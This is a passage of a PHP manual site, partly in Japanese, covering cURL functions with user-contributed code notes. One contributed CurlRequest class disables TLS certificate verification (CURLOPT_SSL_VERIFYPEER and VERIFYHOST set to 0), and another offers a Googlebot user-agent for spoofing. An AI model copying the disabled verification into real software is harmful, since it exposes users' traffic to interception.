        <td>expiry day</td>
        <td>expiry date</td>
        <td>expiry time</td>
        <td>expiry timezone</td>
    </tr>
";
$i=0;
foreach($matches[name] as $cookie_name)
{
    $table_string .= "
    <tr>
        <td>$cookie_name</td>

        <td>{$matches[value][$i]}</td>

        <td>{$matches[expiry_dayname][$i]}</td>

        <td>{$matches[expiry_day][$i]}-
        {$matches[expiry_month][$i]}-
        {$matches[expiry_year][$i]}</td>

        <td>{$matches[expiry_hour][$i]}:
        {$matches[expiry_minute][$i]}:
        {$matches[expiry_second][$i]}</td>

        <td>{$matches[expiry_zone][$i]}</td>
    </tr>
    ";
    $i++;
}
$table_string .= "</table>";
echo $table_string;
?>
/****end file2.php**/

i based this code on the following http header:
(obtained by going: echo $server_output; in file2.php)

HTTP/1.1 200 OK Date: Thu, 30 Jul 2009 07:10:07 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11
OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9
Set-Cookie: cookie1=cookie+1+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Set-Cookie
cookie2=cookie+2+data; expires=Wed, 29-Jul-2009 03:23:27
GMT Set-Cookie: cookie3=cookie+3+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Content-Length: 196
Content-Type: text/html

if your header differs from this one then $pattern in file2.php
will need to be modified accordingly. hopefully this code will save
you a lot of time though!
lmshad at wp dot pl dot foo dot bar 29-Jul-2008 10:14
example:
   echo CurlTool::fetchContent('www.onet.pl');
   CurlTool::downloadFile('http://download.gadu-gadu.pl/gg77.exe', 'c:/');

<?php
error_reporting(E_STRICT | E_ALL);
class CurlTool {
    public static $userAgents = array(
        'FireFox3' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        'GoogleBot' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'IE7' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
        'Netscape' => 'Mozilla/4.8 [en] (Windows NT 6.0; U)',
        'Opera' => 'Opera/9.25 (Windows NT 6.0; U; en)'
        );
    public static $options = array(
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        CURLOPT_AUTOREFERER => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_FOLLOWLOCATION => true
        );

    private static $proxyServers = array();
    private static $proxyCount = 0;
    private static $currentProxyIndex = 0;

    public static function addProxyServer($url) {
        self::$proxyServers[] = $url;
        ++self::$proxyCount;
    }

    public static function fetchContent($url, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Reading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Reading $url ... ";
        }

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt_array($curl, self::$options);

        $content = curl_exec($curl);
        if ($content === false) {
            throw new Exception("curl_exec error for url $url.");
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }

        $content = preg_replace('#\n+#', ' ', $content);
        $content = preg_replace('#\s+#', ' ', $content);

        return $content;
    }

    public static function downloadFile($url, $fileName, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Downloading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Downloading $url ... ";
        }

        curl_setopt_array($curl, self::$options);

        if (substr($fileName, -1) == '/') {
            $targetDir = $fileName;
            $fileName = tempnam(sys_get_temp_dir(), 'c_');
        }
        if (($fp = fopen($fileName, "wb")) === false) {
            throw new Exception("fopen error for filename $fileName");
        }
        curl_setopt($curl, CURLOPT_FILE, $fp);

        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        if (curl_exec($curl) === false) {
            fclose($fp);
            unlink($fileName);
            throw new Exception("curl_exec error for url $url.");
        } elseif (isset($targetDir)) {
            $eurl = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL);
            preg_match('#^.*/(.+)$#', $eurl, $match);
            fclose($fp);
            rename($fileName, "$targetDir{$match[1]}");
            $fileName = "$targetDir{$match[1]}";
        } else {
            fclose($fp);
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }
        return $fileName;
    }
}
?>
alan at forsyth dot cz 06-Jun-2008 03:59
Great class Roman - just one fix:

Replace the following line:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
?>

with this:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: " . $params['host'];
?>

CURL automatically creates the host parameter (since it is required for HTTP/1.1 requests), so you don't need to set it. But if you created a custom host parameter, the above bug would cause a '400 Bad Request' response due to invalid host specified.

Also when copying and pasting the class code, make sure that no line breaks occur (for example in the $header and $user_agent definitions etc.). It will still be valid PHP, but the HTTP request will not be valid, and you may get a '400 Bad Request' response from the server.

It took me a little playing around with an HTTP Sniffer before I finally got an HTTP POST request fully working!

Thanks,
Alan
roman dot ivasyuk at gmail dot com 16-Jan-2008 04:11
<?php
class CurlRequest
{
    private $ch;
    /**
     * Init curl session
     *
     * $params = array('url' => '',
     *                    'host' => '',
     *                   'header' => '',
     *                   'method' => '',
     *                   'referer' => '',
     *                   'cookie' => '',
     *                   'post_fields' => '',
     *                    ['login' => '',]
     *                    ['password' => '',]
     *                   'timeout' => 0
     *                   );
     */
    public function init($params)
    {
        $this->ch = curl_init();
        $user_agent = 'Mozilla/5.0 (Windows; U;
Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
        $header = array(
        "Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        "Accept-Language: ru-ru,ru;q=0.7,en-us;q=0.5,en;q=0.3",
        "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive: 300");
        if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
        if (isset($params['header']) && $params['header']) $header[]=$params['header'];

        @curl_setopt ( $this -> ch , CURLOPT_RETURNTRANSFER , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_VERBOSE , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_HEADER , 1 );

        if ($params['method'] == "HEAD") @curl_setopt($this -> ch,CURLOPT_NOBODY,1);
        @curl_setopt ( $this -> ch, CURLOPT_FOLLOWLOCATION, 1);
        @curl_setopt ( $this -> ch , CURLOPT_HTTPHEADER, $header );
        if ($params['referer'])    @curl_setopt ($this -> ch , CURLOPT_REFERER, $params['referer'] );
        @curl_setopt ( $this -> ch , CURLOPT_USERAGENT, $user_agent);
        if ($params['cookie'])    @curl_setopt ($this -> ch , CURLOPT_COOKIE, $params['cookie']);

        if ( $params['method'] == "POST" )
        {
            curl_setopt( $this -> ch, CURLOPT_POST, true );
            curl_setopt( $this -> ch, CURLOPT_POSTFIELDS, $params['post_fields'] );
        }
        @curl_setopt( $this -> ch, CURLOPT_URL, $params['url']);
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYPEER, 0 );
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYHOST, 0 );
        if (isset($params['login']) & isset($params['password']))
            @curl_setopt($this -> ch , CURLOPT_USERPWD,$params['login'].':'.$params['password']);
        @curl_setopt ( $this -> ch , CURLOPT_TIMEOUT, $params['timeout']);
    }

    /**
     * Make curl request
     *
     * @return array  'header','body','curl_error','http_code','last_url'
     */
    public function exec()
    {
        $response = curl_exec($this->ch);
        $error = curl_error($this->ch);
        $result = array( 'header' => '',
                         'body' => '',
                         'curl_error' => '',
                         'http_code' => '',
                         'last_url' => '');
        if ( $error != "" )
        {
            $result['curl_error'] = $error;
            return $result;
        }

        $header_size = curl_getinfo($this->ch,CURLINFO_HEADER_SIZE);
        $result['header'] = substr($response, 0, $header_size);
        $result['body'] = substr( $response, $header_size );
        $result['http_code'] = curl_getinfo($this -> ch,CURLINFO_HTTP_CODE);
        $result['last_url'] = curl_getinfo($this -> ch,CURLINFO_EFFECTIVE_URL);
        return $result;
    }
}
?>

Example of use:
<?php
..........
try
        {
            $params = array('url' => 'http://www.google.com',
            'host' => '',
            'header' => '',
            'method' => 'GET', // 'POST','HEAD'
            'referer' => '',
            'cookie' => '',
            'post_fields' => '', // 'var1=value&var2=value
            'timeout' => 20
            );

            $this->curl->init($params);
            $result = $this->curl->exec();
            if ($result['curl_error'])    throw new Exception($result['curl_error']);
            if ($result['http_code']!='200')    throw new Exception("HTTP Code = ".$result['http_code']);
            if (!$result['body'])        throw new Exception("Body of file is empty");
            ...............
        }
        catch (Exception $e)
        {
                    echo $e->getMessage();
        }
?>
me at lawrencemok dot com 03-Dec-2007 11:52
Note that when you use CURL to POST things....e.g:

curl_setopt($ch, CURLOPT_POSTFIELDS, "string=This is a string");

The data part (e.g. "This is a string") inside the 3rd parameter should be applied with urlencode()

Otherwise, if you intend to send a string like "%2F", you will end up with a "/" on the receiving end, which can cause troubles. (e.g. serialize() data cannot be unserialize() becase of the change in string length).
test at test dot com 13-Aug-2007 06:43
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
lukasl at ackleymedia dot com 06-Oct-2006 07:52
Thank you for sharing this.  I was wondering why my result was 1.

To get around this in a safe way, this is how I check if the result is valid.

$ch = curl_init(); /// initialize a cURL session
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$xmlResponse = curl_exec ($ch);
curl_close ($ch);

if (!is_string($xmlResponse) || !strlen($xmlResponse)) {
    return $this->_set_error( "Failure Contacting Server" );
} else {
    return $xmlResponse;
}
04-Oct-2006 01:41
Be careful when using curl_exec() and the CURLOPT_RETURNTRANSFER option. According to the manual and assorted documentation:
Set CURLOPT_RETURNTRANSFER to TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.

When retrieving a document with no content (ie. 0 byte file), curl_exec() will return bool(true), not an empty string. I've not seen any mention of this in the manual.

Example code to reproduce this:
<?php

    // fictional URL to an existing file with no data in it (ie. 0 byte file)
    $url = 'http://www.example.com/empty_file.txt';

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);

    // execute and return string (this should be an empty string '')
    $str = curl_exec($curl);

    curl_close($curl);

    // the value of $str is actually bool(true), not empty string ''
    var_dump($str);

?>
08-Mar-2005 06:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
    print curl_error($creq);
} else {
    curl_close($creq);
}
?>
nagyp at hunaxon dot hu 26-Apr-2003 05:22
fyi:
It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com 24-Apr-2002 04:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com 28-Feb-2002 07:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
csaba at alum dot mit dot edu 22-May-2001 01:06
If you retrieve a web page and print it (so you can see it in your browser), and the page has an expiration, this expiration now applies to MyProgram.php and next time your program/page is called, even if it's grabbing a different web page, it will show what it just displayed.  In Netscape you can get rid of this by going into Edit, Options, Advanced, Cache, and clear out the Disk Cache.  But this is really annoying after short order.  The following prevents the above scenario:

<?php
function GetCurlPage ($pageSpec) {
    $ch = curl_init($pageSpec);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $tmp = curl_exec ($ch);
    curl_close ($ch);
// if you intend to print this page, better clear out expiration tag
    $tmp = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $tmp);
    return $tmp;
}
?>


CURLFile オブジェクトを作る

  • ≪ curl_exec
  • curl_getinfo ≫
  • PHP Manual
  • cURL 関数
  • CURLFile オブジェクトを作る

curl_file_create

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_file_create — CURLFile オブジェクトを作る

説明

この関数は次の関数のエイリアスです。 CURLFile::__construct()

User Contributed Notes

dk00272 at gmail dot com 08-Feb-2021 05:51
function uploadFile($name,$i=0){

        $postField = array();
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = basename($_FILES[$name]['name'][$i]);
        $postField['files'] =  curl_file_create($tmpfile, $_FILES[$name]['type'][$i], $filename);
        $headers = array("Content-Type" => "multipart/form-data");
        $curl_handle = curl_init();
        curl_setopt($curl_handle, CURLOPT_URL, 'Put here curl API');

        curl_setopt($curl_handle, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($curl_handle, CURLOPT_POST, TRUE);
        curl_setopt($curl_handle, CURLOPT_POSTFIELDS, $postField);
        curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, TRUE);
        $returned_fileName = curl_exec($curl_handle);
        curl_close($curl_handle);
        return json_decode($returned_fileName);
    }


指定した伝送に関する情報を得る

  • ≪ curl_file_create
  • curl_init ≫
  • PHP Manual
  • cURL 関数
  • 指定した伝送に関する情報を得る

curl_getinfo

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

curl_getinfo — 指定した伝送に関する情報を得る

説明

curl_getinfo ( CurlHandle $handle , int|null $option = null ) : mixed

直近の転送に関する情報を取得します。

パラメータ

handle

curl_init() が返す cURL ハンドル。

option

これは、以下のいずれかの定数となります。

  • CURLINFO_EFFECTIVE_URL - 直近の有効な URL
  • CURLINFO_HTTP_CODE - 最後に受け取った HTTP コード。PHP 5.5.0とcURL 7.10.8以降では　CURLINFO_RESPONSE_CODE　の別名になりました。
  • CURLINFO_FILETIME - ドキュメントを取得するのにかかった時間。 CURLOPT_FILETIME が有効な状態で用いる。 取得できなかった場合は -1
  • CURLINFO_TOTAL_TIME - 直近の伝送にかかった秒数
  • CURLINFO_NAMELOOKUP_TIME - 名前解決が完了するまでにかかった秒数
  • CURLINFO_CONNECT_TIME - 接続を確立するまでにかかった秒数
  • CURLINFO_PRETRANSFER_TIME - 開始からファイル伝送がはじまるまでにかかった秒数
  • CURLINFO_STARTTRANSFER_TIME - 最初のバイトの伝送がはじまるまでの秒数
  • CURLINFO_REDIRECT_COUNT - リダイレクト処理の回数 (CURLOPT_FOLLOWLOCATION オプションが有効な場合)
  • CURLINFO_REDIRECT_TIME - 伝送が始まるまでのリダイレクト処理の秒数 (CURLOPT_FOLLOWLOCATION オプションが有効な場合)
  • CURLINFO_REDIRECT_URL - CURLOPT_FOLLOWLOCATION オプションが無効な場合: 直近のトランザクションで見つかったリダイレクト先 URL。これを、次に手動でリクエストしなければいけません。 CURLOPT_FOLLOWLOCATION オプションが有効な場合: これは空になります。 この場合のリダイレクト先 URL は、CURLINFO_EFFECTIVE_URL となります。
  • CURLINFO_PRIMARY_IP - 直近の接続の IP アドレス
  • CURLINFO_PRIMARY_PORT - 直近の接続の接続先ポート
  • CURLINFO_LOCAL_IP - 直近の接続の接続元 IP アドレス
  • CURLINFO_LOCAL_PORT - 直近の接続の接続元ポート
  • CURLINFO_SIZE_UPLOAD - アップロードされたバイト数
  • CURLINFO_SIZE_DOWNLOAD - ダウンロードされたバイト数
  • CURLINFO_SPEED_DOWNLOAD - 平均のダウンロード速度
  • CURLINFO_SPEED_UPLOAD - 平均のアップロード速度
  • CURLINFO_HEADER_SIZE - 受信したヘッダのサイズ
  • CURLINFO_HEADER_OUT - 送信したリクエスト文字列。 これを動作させるには、curl_setopt() をコールする際に CURLINFO_HEADER_OUT オプションを使うようにしておく必要があります。
  • CURLINFO_REQUEST_SIZE - 発行されたリクエストのサイズ。現在は HTTP リクエストの場合のみ
  • CURLINFO_SSL_VERIFYRESULT - CURLOPT_SSL_VERIFYPEER を設定した際に要求される SSL 証明書の認証結果
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD - ダウンロードされるサイズ。 Content-Length: フィールドの内容を取得する
  • CURLINFO_CONTENT_LENGTH_UPLOAD - アップロードされるサイズ。
  • CURLINFO_CONTENT_TYPE - 要求されたドキュメントの Content-Type:。 NULL は、サーバーが適切な Content-Type: ヘッダを返さなかったことを示す
  • CURLINFO_PRIVATE - この cURL ハンドルに関連づけられたプライベートデータ。 事前に curl_setopt() の CURLOPT_PRIVATE オプションで設定したもの。
  • CURLINFO_RESPONSE_CODE - 直近のレスポンスコード。
  • CURLINFO_HTTP_CONNECTCODE - CONNECT のレスポンスコード。
  • CURLINFO_HTTPAUTH_AVAIL - 直前のレスポンスから判断する、利用可能な認証方式のビットマスク。
  • CURLINFO_PROXYAUTH_AVAIL - 直前のレスポンスから判断する、プロキシ認証方式のビットマスク。
  • CURLINFO_OS_ERRNO - 接続に失敗したときのエラー番号。OS やシステムによって異なります。
  • CURLINFO_NUM_CONNECTS - curl が直前の転送を実行するために要した接続数。
  • CURLINFO_SSL_ENGINES - サポートする OpenSSL 暗号エンジン。
  • CURLINFO_COOKIELIST - すべての既知のクッキー。
  • CURLINFO_FTP_ENTRY_PATH - FTP サーバーのエントリパス。
  • CURLINFO_APPCONNECT_TIME - リモートホストとの SSL/SSH 接続／ハンドシェイク が完了するまでに要した秒数。
  • CURLINFO_CERTINFO - TLS 証明書チェイン。
  • CURLINFO_CONDITION_UNMET - 時間の条件が満たされなかったことに関する情報。
  • CURLINFO_RTSP_CLIENT_CSEQ - 次の RTSP クライアントの CSeq。
  • CURLINFO_RTSP_CSEQ_RECV - 直前に受け取った CSeq。
  • CURLINFO_RTSP_SERVER_CSEQ - 次の RTSP サーバーの CSeq。
  • CURLINFO_RTSP_SESSION_ID - RTSP セッション ID。
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD_T - ダウンロードの content-length の値。これは Content-Type: フィールドから読み取った値です。-1 はサイズが不明であることを示します。
  • CURLINFO_CONTENT_LENGTH_UPLOAD_T - 指定されたアップロードのサイズ。-1 はサイズが不明であることを示します。
  • CURLINFO_HTTP_VERSION - 直近のHTTP接続で使われたバージョン。返される値は、CURL_HTTP_VERSION_* で定義されたうちのひとつです。バージョンが特定できない場合は、0 が返されます。
  • CURLINFO_PROTOCOL - 直近のHTTP接続で使われたプロトコル。返される値は、CURLPROTO_* で定義されたうちのひとつです。
  • CURLINFO_PROXY_SSL_VERIFYRESULT - (CURLOPT_PROXY_SSL_VERIFYPEER オプションを使って) リクエストされた証明書の検証結果です。 HTTPS プロキシを使った場合にのみ有効です。
  • CURLINFO_SCHEME - 直近の接続で使われたURLスキーム
  • CURLINFO_SIZE_DOWNLOAD_T - ダウンロードした合計のバイト数。この数値は直近の転送のみの値です。新しい転送が行われるたびにリセットされます。
  • CURLINFO_SIZE_UPLOAD_T - アップロードされた合計サイズ(バイト単位)
  • CURLINFO_SPEED_DOWNLOAD_T - ダウンロードが完了した際にcurlが計測した、平均ダウンロード速度(バイト/毎秒)
  • CURLINFO_SPEED_UPLOAD_T - アップロードが完了した際にcurlが計測した、平均アップロード速度(バイト/毎秒)
  • CURLINFO_APPCONNECT_TIME_T - リモートホストと SSL/SSH の接続/ハンドシェイクを開始してから完了するまでにかかった時間 (マイクロ秒)
  • CURLINFO_CONNECT_TIME_T - リモートホスト(またはプロキシ) と接続を開始して、完了するまでにかかった合計時間(マイクロ秒)
  • CURLINFO_FILETIME_T - 文書を取得したリモートの時間(Unixタイムスタンプ)。これは CURLINFO_FILETIME の代替であり、32ビットのタイムスタンプの範囲から外れた日付を32ビットのシステムで変数に展開することができます。
  • CURLINFO_NAMELOOKUP_TIME_T - 名前解決が完了するまでにかかった時間(マイクロ秒)
  • CURLINFO_PRETRANSFER_TIME_T - ファイルの転送が始まるまでにかかった時間(マイクロ秒)
  • CURLINFO_REDIRECT_TIME_T - リダイレクトのステップ全てにかかった合計時間(マイクロ秒)。これには、名前解決や接続、事前の転送や最後のトランザクションが開始されるまでの転送処理を含みます。
  • CURLINFO_STARTTRANSFER_TIME_T - 最初のバイトを受信するまでにかかった時間(マイクロ秒)
  • CURLINFO_TOTAL_TIME_T - 名前解決, TCP 接続などを含む、以前の転送にかかった合計時間(マイクロ秒)

返り値

option を指定した場合は、その値を返します。 それ以外の場合は、以下の要素をもつ連想配列を返します (それぞれの要素が option に対応します)。 失敗した場合は false を返します。

  • "url"
  • "content_type"
  • "http_code"
  • "header_size"
  • "request_size"
  • "filetime"
  • "ssl_verify_result"
  • "redirect_count"
  • "total_time"
  • "namelookup_time"
  • "connect_time"
  • "pretransfer_time"
  • "size_upload"
  • "size_download"
  • "speed_download"
  • "speed_upload"
  • "download_content_length"
  • "upload_content_length"
  • "starttransfer_time"
  • "redirect_time"
  • "certinfo"
  • "primary_ip"
  • "primary_port"
  • "local_ip"
  • "local_port"
  • "redirect_url"
  • "request_header" (これが設定されるのは、事前に curl_setopt() をコールしたときに CURLINFO_HEADER_OUT を設定した場合のみです)
プライベートデータはこの連想配列には含まれず、CURLINFO_PRIVATE オプションで個別に取得しなければいけないことに注意しましょう。

変更履歴

バージョン | 説明
8.0.0 | handle は CurlHandle クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、resource を期待していました。
8.0.0 | option は nullable になりました。 これより前のバージョンでは、デフォルト値は 0 でした。
7.3.0 | CURLINFO_CONTENT_LENGTH_DOWNLOAD_T, CURLINFO_CONTENT_LENGTH_UPLOAD_T, CURLINFO_HTTP_VERSION, CURLINFO_PROTOCOL, CURLINFO_PROXY_SSL_VERIFYRESULT, CURLINFO_SCHEME, CURLINFO_SIZE_DOWNLOAD_T, CURLINFO_SIZE_UPLOAD_T, CURLINFO_SPEED_DOWNLOAD_T, CURLINFO_SPEED_UPLOAD_T, CURLINFO_APPCONNECT_TIME_T, CURLINFO_CONNECT_TIME_T, CURLINFO_FILETIME_T, CURLINFO_NAMELOOKUP_TIME_T, CURLINFO_PRETRANSFER_TIME_T, CURLINFO_REDIRECT_TIME_T, CURLINFO_STARTTRANSFER_TIME_T, CURLINFO_TOTAL_TIME_T が追加されました。

例

例1 curl_getinfo() の例

<?php
// cURL ハンドルを作成します
$ch = curl_init('http://www.example.com/');

// 実行します
curl_exec($ch);

// エラーが発生したかどうかを確認します
if (!curl_errno($ch)) {
  $info = curl_getinfo($ch);
  echo 'Took ', $info['total_time'], ' seconds to send a request to ', $info['url'], "\n";
}

// ハンドルを閉じます
curl_close($ch);
?>

例2 curl_getinfo() で option パラメータを使う例

<?php
// cURL ハンドルを作成します
$ch = curl_init('http://www.example.com/');

// 実行します
curl_exec($ch);

// HTTP ステータスコードを調べます
if (!curl_errno($ch)) {
  switch ($http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE)) {
    case 200:  # OK
      break;
    default:
      echo 'Unexpected HTTP code: ', $http_code, "\n";
  }
}

// ハンドルを閉じます
curl_close($ch);
?>

注意

注意:

この関数で収集した情報を、ハンドルを再利用するとそのまま保持されます。 つまり、この関数で内部的に統計情報を上書きしない限りは以前の情報が返されるということです。

User Contributed Notes

public-mail at alekciy dot ru 18-Nov-2015 09:35
Note, header_size include "\r\n\r\n". So if you use CURLOPT_FOLLOWLOCATION>0, CURLOPT_HEADER=true, CURLOPT_RETURNTRANSFER=true right way splite header/body:

$response = curl_exec($ch);
$curl_info = curl_getinfo($ch);
curl_close($ch);
$header_size = $curl_info['header_size'];
$header = substr($response, 0, $header_size);
$body = substr($response, $header_size);
torres dot krys at gmail dot com 31-Jul-2015 07:07
If you use curl option CURLOPT_NOBODY = true to test if distant url is available, any sites can send you an http code 400 like Cdiscount Wsdl :

$ch = @curl_init($wsdl);

if($ch === false)
    return false;

@curl_setopt($ch, CURLOPT_HEADER         ,true);    // we want headers
@curl_setopt($ch, CURLOPT_NOBODY         ,true);    // dont need body
@curl_setopt($ch, CURLOPT_RETURNTRANSFER ,true);    // catch output (do NOT print!)

@curl_exec($ch);

if(@curl_errno($ch)){   // should be 0
    @curl_close($ch);
    return false;
}

$code = @curl_getinfo($ch, CURLINFO_HTTP_CODE);

Modifying CURLOPT_NOBODY to false, http code sent is 200 otherwise http code is 400 !!!
Curly 30-Mar-2015 09:55
If you call curl_reset() on a handle that has already been passed to curl_exec(), and then perform a curl_getinfo() on the same handle, you may expect that you get the same result as if you called curl_getinfo() immediately after curl_init(). This is not the case, however. cURL will return the data from the previous execution. If you want to completely reset you actually need to unset the cURL handle and recreate a new one.
qrworld.net 11-Nov-2014 04:43
Here you have a function that I use to get the content of a URL using cURL. This uses curl_getinfo to know if it is a regular URL or maybe a redirection.

I hope it would be useful for you:

function getUrlContent($url){
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
 $data = curl_exec($ch);
 $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 curl_close($ch);
 return ($httpcode>=200 && $httpcode<300) ? $data : false;
}

The source comes from this website:

http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url.html
Piker 22-Apr-2014 10:06
Example 1 should use "if(curl_errno($ch))" not "if(!curl_errno($ch))"
bg at enativ dot com 18-Mar-2014 09:53
curl_getinfo($ch) will also return 'redirect_url' if there is one (even if CURLOPT_FOLLOWLOCATION set to false).
I don't know why it's not in the doc..
nikita dot bulatenko at gmail dot com 15-Mar-2013 02:11
CURLINFO_SSL_VERIFYRESULT error codes:
0: ok the operation was successful.
2 : unable to get issuer certificate
3: unable to get certificate CRL
4: unable to decrypt certificate's signature
5: unable to decrypt CRL's signature
6: unable to decode issuer public key
7: certificate signature failure
8: CRL signature failure
9: certificate is not yet valid
10: certificate has expired
11: CRL is not yet valid
12:CRL has expired
13: format error in certificate's notBefore field
14: format error in certificate's notAfter field
15: format error in CRL's lastUpdate field
16: format error in CRL's nextUpdate field
17: out of memory
18: self signed certificate
19: self signed certificate in certificate chain
20: unable to get local issuer certificate
21:unable to verify the first certificate
22: certificate chain too long
23: certificate revoked
24: invalid CA certificate
25: path length constraint exceeded
26: unsupported certificate purpose
27: certificate not trusted
28: certificate rejected
29: subject issuer mismatch
30: authority and subject key identifier mismatch
31: authority and issuer serial number mismatch
32: key usage does not include certificate signing
50: application verification failure
details at http://www.openssl.org/docs/apps/verify.html#VERIFY_OPERATION
vince 22-Oct-2010 04:56
CURLINFO_HTTP_CODE does not return a string, as the docs say, but rather an integer.

<?php
    $c = curl_init('http://www.example.com/');
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === '200') echo "CURLINFO_HTTP_CODE returns a string.";
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === 200) echo "CURLINFO_HTTP_CODE returns an integer.";
    curl_close($c);
?>

returns

"CURLINFO_HTTP_CODE returns an integer."
Anonymous 20-Jul-2010 02:53
The main doc neglects to mention that when the CURLINFO_HEADER_OUT option is set the array returned by this function will included a new property, request_header, that is a string of the headers sent in the request.
nemetral 17-Jun-2008 07:57
Just a quick note: if you want to use curl_getinfo() with option CURLINFO_HEADER_OUT in order to debug your cURL request, you must add curl_setopt($handle, CURLINFO_HEADER_OUT, true); first while specifying the options.
luiheidsgoeroe at hotmail dot com 04-Feb-2008 03:02
Keep in mind that for CURLOPT_RETURNTRANSFER it has to be set with curl_setopt() before execution:

This doesn't work:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>

This works:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
